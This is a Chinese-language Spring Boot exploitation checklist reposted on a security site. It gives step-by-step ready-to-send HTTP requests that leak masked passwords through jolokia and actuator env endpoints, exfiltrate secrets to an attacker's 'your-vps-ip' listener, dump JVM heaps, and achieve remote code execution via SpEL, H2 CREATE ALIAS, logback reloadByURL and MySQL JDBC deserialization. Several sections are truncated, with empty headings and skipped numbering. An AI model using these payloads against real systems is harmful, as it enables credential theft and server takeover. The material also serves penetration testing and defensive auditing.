标题 | 简介 | 类型 | 公开时间 | ||||||||||||||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||||||||||||||||
详情 | |||||||||||||||||||||||||||||||||||||||||
[SAFE-ID: JIWO-2025-2933] 作者: 须臾 发表于: [2021-09-22]
本文共 [393] 位读者顶过
Spring Boot Vulnerability Exploit CheckListSpring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list 声明
零:路由和版本0x01:路由知识
0x02:版本知识
常见组件的版本相互依赖关系:
Spring Cloud 与 Spring Boot 大版本之间的依赖关系:
Spring Cloud 小版本号的后缀及含义:
一:信息泄露0x01:路由地址及接口调用详情泄漏
直接访问以下几个路由,验证漏洞是否存在: /api-docs /v2/api-docs /swagger-ui.html 一些可能会遇到的接口路由变形: /api.html /sw/swagger-ui.html /api/swagger-ui.html /template/swagger-ui.html /spring-security-rest/api/swagger-ui.html /spring-security-oauth-resource/swagger-ui.html 除此之外,下面的路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息: /mappings /actuator/mappings /metrics /actuator/metrics /beans /actuator/beans /configprops /actuator/configprops 一般来讲,知道 spring boot 应用的相关接口和传参信息并不能算是漏洞; 但是可以检查暴露的接口是否存在未授权访问、越权或者其他业务型漏洞。 0x02:配置不当而暴露的路由
参考 和 ,可能因为配置不当而暴露的默认内置路由可能会有: /actuator /auditevents /autoconfig /beans /caches /conditions /configprops /docs /dump /env /flyway /health /heapdump /httptrace /info /intergrationgraph /jolokia /logfile /loggers /liquibase /metrics /mappings /prometheus /refresh /scheduledtasks /sessions /shutdown /trace /threaddump /actuator/auditevents /actuator/beans /actuator/health /actuator/conditions /actuator/configprops /actuator/env /actuator/info /actuator/loggers /actuator/heapdump /actuator/threaddump /actuator/metrics /actuator/scheduledtasks /actuator/httptrace /actuator/mappings /actuator/jolokia /actuator/hystrix.stream 其中对寻找漏洞比较重要接口的有:
0x03:获取被星号脱敏的密码的明文 (方法一)
利用条件:
利用方法:步骤一: 找到想要获取的属性名GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。 步骤二: jolokia 调用相关 Mbean 获取明文将下面示例中的 security.user.password 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 value 键中。
spring 1.x POST /jolokia Content-Type: application/json {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} spring 2.x POST /actuator/jolokia Content-Type: application/json {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 1.x POST /jolokia Content-Type: application/json {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} spring 2.x POST /actuator/jolokia Content-Type: application/json {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} 0x04:获取被星号脱敏的密码的明文 (方法二)
利用条件:
利用方法:步骤一: 找到想要获取的属性名GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。 步骤二: 使用 nc 监听 HTTP 请求在自己控制的外网服务器上监听 80 端口: nc -lvk 80
步骤三: 设置 eureka.client.serviceUrl.defaultZone 属性将下面 http://value:${security.user.password}@your-vps-ip 中的 security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名; your-vps-ip 换成自己外网服务器的真实 ip 地址。 spring 1.x POST /env Content-Type: application/x-www-form-urlencoded eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip spring 2.x POST /actuator/env Content-Type: application/json {"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"} 步骤四: 刷新配置spring 1.x POST /refresh Content-Type: application/x-www-form-urlencoded spring 2.x POST /actuator/refresh Content-Type: application/json 步骤五: 解码属性值正常的话,此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下 Authorization 头内容: Authorization: Basic dmFsdWU6MTIzNDU2 将其中的 dmFsdWU6MTIzNDU2部分使用 base64 解码,即可获得类似明文值 value:123456,其中的 123456 即是目标星号 * 脱敏前的属性值明文。 0x05:获取被星号脱敏的密码的明文 (方法三)
利用条件:
利用方法:
步骤一: 找到想要获取的属性名GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。 步骤二: 使用 nc 监听 HTTP 请求在自己控制的外网服务器上监听 80 端口: nc -lvk 80
步骤三: 触发对外 http 请求
spring 1.x POST /env Content-Type: application/x-www-form-urlencoded spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password} spring 2.x POST /actuator/env Content-Type: application/json {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
spring 1.x POST /env Content-Type: application/x-www-form-urlencoded eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password} spring 2.x POST /actuator/env Content-Type: application/json {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"} 步骤四: 刷新配置spring 1.x POST /refresh Content-Type: application/x-www-form-urlencoded spring 2.x POST /actuator/refresh Content-Type: application/json 0x06:获取被星号脱敏的密码的明文 (方法四)
利用条件:
利用方法:步骤一: 找到想要获取的属性名GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。 步骤二: 下载 jvm heap 信息
GET 请求目标的 /heapdump 或 /actuator/heapdump 接口,下载应用实时的 JVM 堆信息 步骤三: 使用 MAT 获得 jvm heap 中的密码明文参考 方法,使用 工具的 OQL 语句 select * from org.springframework.web.context.support.StandardServletEnvironment, 辅助快速过滤分析,获得密码明文 二:远程代码执行
0x01:whitelabel error page SpEL RCE利用条件:
利用方法:步骤一:找到一个正常传参处比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page,则后续 payload 都将会在参数 id 处尝试。 步骤二:执行 SpEL 表达式输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。 由字符串格式转换成 0x** java 字节形式,方便执行任意代码: # coding: utf-8 result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(',')) 执行 open -a Calculator 命令 ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
漏洞原理:
漏洞分析:
漏洞环境:
正常访问: http://127.0.0.1:9091/article?id=66 执行 open -a Calculator 命令: http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
0x02:spring cloud SnakeYAML RCE利用条件:
替换实际的 your-vps-ip 地址访问 URL 触发漏洞: /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml 漏洞原理:
漏洞分析:
漏洞环境:
正常访问: http://127.0.0.1:9094/env 0x05:jolokia Realm JNDI RCE利用条件:
spring 1.x(无回显执行命令) POST /env Content-Type: application/x-www-form-urlencoded spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc'); spring 2.x(无回显执行命令) POST /actuator/env Content-Type: application/json {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"} 步骤二:重启应用spring 1.x POST /restart Content-Type: application/x-www-form-urlencoded spring 2.x POST /actuator/restart Content-Type: application/json 漏洞原理:
漏洞分析:
漏洞环境:
正常访问: http://127.0.0.1:9096/actuator/env 0x07:h2 database console JNDI RCE利用条件:
mysql-connector-java 5.x 版本设置属性值为: jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true mysql-connector-java 8.x 版本设置属性值为: jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true spring 1.x POST /env Content-Type: application/x-www-form-urlencoded spring.datasource.url=对应属性值 spring 2.x POST /actuator/env Content-Type: application/json {"name":"spring.datasource.url","value":"对应属性值"} 步骤四:刷新配置spring 1.x POST /refresh Content-Type: application/x-www-form-urlencoded spring 2.x POST /actuator/refresh Content-Type: application/json 步骤五:触发数据库查询尝试访问网站已知的数据库查询的接口,例如: /product/list ,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发 步骤六:恢复正常 jdbc url反序列化漏洞利用完成后,使用 步骤三 的方法恢复 步骤一 中记录的 spring.datasource.url 的原始 value 值 漏洞原理:
漏洞分析:
漏洞环境:
正常访问: http://127.0.0.1:9097/actuator/env 发送完 payload 后触发漏洞: http://127.0.0.1:9097/product/list
[出自:jiwo.org] |